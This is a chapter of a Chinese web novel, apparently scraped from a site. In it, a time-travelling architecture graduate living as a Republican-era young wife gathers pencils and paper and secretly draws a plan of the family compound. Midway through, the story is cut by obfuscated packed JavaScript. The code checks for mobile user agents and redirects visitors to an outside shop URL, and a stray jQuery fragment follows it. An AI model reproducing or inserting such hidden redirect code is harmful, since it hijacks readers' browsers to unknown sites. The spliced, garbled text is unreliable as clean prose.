“春苓,你去吩咐小厨房,帮我做份牛乳茶,再做一份山药糕来吧。我先回房看一会儿书,过会儿想用些点心。”
这天早上用完早膳,昭宁一反常态地交代春苓。春苓的身形顿住了两秒,才向她微微欠身,口中回道:“是,少夫人。”
下一秒,当春苓刚转身踏出内院,昭宁便转身进了西厢房的书房。待书房的木门合上,她才靠着那扇门板,轻轻地出了口气。
吃食倒是其次。昭宁这样的交代,不过是找个理由支开春苓,这样她才有机会偷摸搞一些“事情”。
她轻手轻脚地进了书房,却没有在书柜前拿起任何一本书。而是悄悄地拉开了那张大书桌下的、满是繁复雕花的实木抽屉,随后在里面翻找起来。
中间的抽屉拉开,内里只有一个砚台,一沓软塌塌的宣纸,还有几张薄薄的竖排信纸。
除此以外,再无其他。
这里没什么昭宁感兴趣的东西,她合上了抽屉。
接着她又打开了左边的抽屉。
这个抽屉里倒是放着个让昭宁有些惊诧的物件:一个小型的单筒望远镜。
她拿起望远镜,沉甸甸的黄铜材质在手心里格外有分量。她动作自然地把它贴在自己眼前看了看,却因为周围物品的距离太近,她的视线里只有一片模糊的光斑。
她有些无趣地把望远镜放下来,手捧着又欣赏了半天旧时物件精致的做工,才慢慢地把它放回原处。
她把这个抽屉也轻轻关上,又打开了最后一个右边的抽屉。
这个抽屉里的东西倒比前两个更多:一个罗盘、一枚小型钢刀,下面压着一个暗褐色、薄层羊皮封面的笔记本。
那本子看起来不算新,皮面上肉眼可见有些淡淡的划痕。仔细看去,那皮子的表面还泛着一层温润的哑光,像是被人长久地摩挲过;那封皮的边角微微翘起,似乎在引诱着昭宁上前翻开。
事实上,她也确实这么做了。
昭宁翻开本子,那本子的纸张都已微微发脆、泛黄。里面的字迹铅笔、钢笔夹杂,字形凛冽,一眼看过去便知是出自谁人之手。
倒是横向从左到右书写。只不过依旧是繁体,看得昭宁头疼。
她草草翻了几页,才惊觉不应该随意翻看他人的私密记录。纵使里面记录的多是一些无关痛痒的军务备忘,昭宁还是把本子下意识地合上,又放回了原位。
关上抽屉,昭宁一时陷入了踌躇。
她这么翻来覆去,其实不过是想找个硬笔。钢笔也好、铅笔也好,只要能让自己简单地做些记录。
但几个抽屉翻遍,如今却依旧一无所获。
她有些沮丧,目光却再次投向了整个书房。直到她瞥见书柜最高一层的隔板上方,才终于发现了自己想要的东西。
那个不起眼的隔层上面,正放着几张道林白纸,上面压着几支散落的六棱木杆铅笔。这些东西下面,似乎还有一沓薄薄的稿纸,昭宁倒是一时也用不上。
从前看书,她也只是注意了下层的书籍。谁能想到,这书柜的上层,还藏着自己想要的“惊喜”呢!
她按捺不住内心的欣喜,三步并两步地走到书柜前面,踮起脚尖去取那一沓雪白的纸张——
“哗啦!”
纸张的位置终究还是放得太高。昭宁一时没接住,那一沓散落的白纸从书架上坠落散开,上面的铅笔顺着纸张滚落到了地面。
昭宁下意识地退了一步,却又反应迅速地收回了脚。不然的话,她差一点就要踩脏其中一张飘落在脚边的白纸,也就白白消耗了这有限的“纸张库存”。
待所有的东西都“飘”到了地面,昭宁才敢转过身,收拾起这一地的“狼藉”。
不管怎么说,她现在终于有作案,哦不,作画的工具了。
滑落下来的铅笔有一支是怀屿削过的,却在掉在地面的过程中摔断了铅芯。昭宁自然是记得方才右边抽屉里放着的小钢刀,遂也拿出来开始削笔。
想不到当初大学时削笔的技术现在还能用到,她边削边自嘲。
“少夫人,您吩咐准备的点心已经备好了。请问您现下可要回院落等候?”
当昭宁刚削出那支已经用了半截的铅笔,春苓的声音便从书房外的廊下传来。想来自己在书房折腾了这些时候,也是到了自己早晨交代春苓的时间了,遂朝着门口扬声应道:“知道了,稍等,我这便出来。”
她略作思索,只取了一张白纸拿走,剩余的就放在桌面上收好,放镇纸在上面压着。铅笔则被她小心地藏在了袖袋里,只要不被看见,就不会有人觉出异样。
当她走出书房的时候,她看出了春苓眼里有些好奇的眼神。但春苓自然不会主动问,她也自然什么都不主动说。
主仆俩径直回了卧房。昭宁让春苓在外稍等,自己则入内把白纸放在梳妆台上。顺势也把铅笔从袖袋中取出,藏进梳妆台下的抽屉里。
做完这一切,她才从卧房出来,跟随春苓前往厢房吃点心。
这天晚上。
待夜深人静,无人打扰,昭宁才敢悄悄拿出那张白纸和铅笔,床前的烛灯放在一旁的矮几上。她在白纸下面衬上大号帖盒的木盖板,这才开始面对着眼前的那片雪白发呆。
她略略闭一闭眼,自己在这大院里平日走过的路,一一在她的脑海中浮现:
她已经很清楚整个棠院的格局。坐北朝南的是主屋,分为待客的正厅和作为卧房的内室;东厢房是三餐饮食的场所,西厢房则隔出了一间用作书房。还有正屋两侧的东西耳房,东耳房平时用作梳洗、沐浴,西耳房则用作春苓的轮值房,和主屋卧室有侧门相通。
她坐在那里,张开眼睛。她的两根手指堪堪握住那根印着“STAEDTLER”的铅笔,在那张挺括的白纸上,留下一道道略带颤抖的弯曲线条。
眼下的一切,都带给昭宁一种强烈的时空割裂感。
这种割裂在于,她现在住上了在21世纪不敢想的顶级贵价的四合院;这种割裂在于,她现在握着的铅笔,和她在学生时代曾经用过的铅笔,历经百年,竟还是同一个牌子。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17970366|214640||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>何其讽刺,又何其无奈。
她甚至还在想,若非被困在这深宅大院,已经习惯了握着鼠标、修改CAD图纸的她,还不知道要过多久,她才有机会重新拾起这份手绘图纸带来的踏实感。
随着笔下的一根根线条出现在纸上,昭宁比从前的任何一刻都更加笃定:自己对建筑的热爱,从未消退。
她手里只有纸笔,所有落在图面的内容都只能画个大概。循着记忆,昭宁很快地完成了棠院的部分。沿着那道连接外界的月亮门走出去,她记忆里的周府大院平面总平面还在她的笔下延伸。
她记得自己每天请安通向桂院的石子路。岔路繁多,她已经能记清每一个路口,虽然有些岔路延伸过去,昭宁还不曾知道通向何处;
她记得桂院的形制与棠院相似。但它的正厅开间却明显更大,内里装饰也更加豪华,彰显出老夫人一家主母的地位;
她记得自己曾经前去参加牌局的暖亭。那临水的小亭,四周装上隔扇,倒也分外暖和。这种半室外的场所,在现代建筑学语境下,怎么也算是个“灰空间”吧;
她还记得筠院的大致方位,那是老太爷和姨奶奶常住的居所。但她从未去过,只能猜测也是同桂院、棠院趋同的形制,只不过规模上略有区别罢了。
而再往前……
再往前,中门以外,便是怀屿日常起居办公的主院。那是昭宁从未涉足的区域,她对此一无所知。
纸面上,她在中门处重重地画下了一道院墙。墙内墙外,对昭宁来说,便是两个完全不同的世界。
她叹了口气。看着中门以下被自己画了大半的内院,以及中门以上完全的空白,不由得再次在心里感叹旧社会的腐朽。
为什么从前这么讲究“男尊女卑”呢?凭什么从前男主人日常起居的地方,女眷就完全不能踏足呢?
算了。
转念一想,现在这样分开居住,昭宁自己倒也落得清净。反正原主和周怀屿的婚姻就貌合神离,至于现在的自己,对这位民国少帅更是毫无感情基础。
因为在她心里,她始终都不属于这里。
因为在她心里,终究有一天,她还是要离开这里。
昭宁对着完成的平面图沉思良久。直到听到门外有丫鬟巡夜的动静,她才蓦然抬首,发现窗外的夜色已经很深。
少顷,她又将视线转回床边的图纸。她开始意识到此图不宜外露,一旦被发现,又免不了被人闲话。她索性将它仔仔细细地叠好,和铅笔一起,收在梳妆台上那个带锁的妆匣内,并轻轻地合上了铜锁。
一切稳妥。她才吹熄部分灯火,翻身上床。
房间瞬间暗下来。床上的人,反而开始胡思乱想。
那一瞬间,有个可怕的念头在她脑海转瞬即逝:如果自己再也无法离开这个世界,那又该如何?
这样的怀疑,昭宁只用了一瞬,就把它强行压了下去。
不会的。从来不会有什么路会是有去无回的。
总会有办法的。
她笃定地想。